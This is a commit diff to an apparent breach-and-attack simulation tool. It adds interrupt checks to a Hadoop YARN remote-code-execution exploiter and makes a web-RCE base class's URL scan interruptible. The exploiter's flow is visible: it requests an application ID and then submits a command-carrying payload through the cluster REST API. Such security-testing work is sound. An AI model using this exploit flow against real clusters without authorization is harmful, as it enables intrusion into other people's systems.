Agent: Make Hadoop interruptable

This commit is contained in:
Ilija Lazoroski 2022-03-21 18:05:30 +01:00 committed by Mike Salvatore
parent ed817feaf2
commit 8921ed77ac
2 changed files with 11 additions and 1 deletions

View File

@ -65,6 +65,10 @@ class HadoopExploiter(WebRCE):
return self.exploit_result return self.exploit_result
def exploit(self, url, command): def exploit(self, url, command):
if self._is_interrupted():
self._set_interrupted()
return False
# Get the newly created application id # Get the newly created application id
resp = requests.post( resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
@ -78,6 +82,11 @@ class HadoopExploiter(WebRCE):
[random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] # noqa: DUO102 [random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] # noqa: DUO102
) )
payload = self._build_payload(app_id, rand_name, command) payload = self._build_payload(app_id, rand_name, command)
if self._is_interrupted():
self._set_interrupted()
return False
resp = requests.post( resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
) )

View File

@ -23,6 +23,7 @@ from infection_monkey.network.tools import tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.threading import interruptable_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
# Command used to check if monkeys already exists # Command used to check if monkeys already exists
@ -232,7 +233,7 @@ class WebRCE(HostExploiter):
is found (bool) is found (bool)
:return: None (we append to class variable vulnerable_urls) :return: None (we append to class variable vulnerable_urls)
""" """
for url in urls: for url in interruptable_iter(urls, self.interrupt):
if self.check_if_exploitable(url): if self.check_if_exploitable(url):
self.add_vuln_url(url) self.add_vuln_url(url)
self.vulnerable_urls.append(url) self.vulnerable_urls.append(url)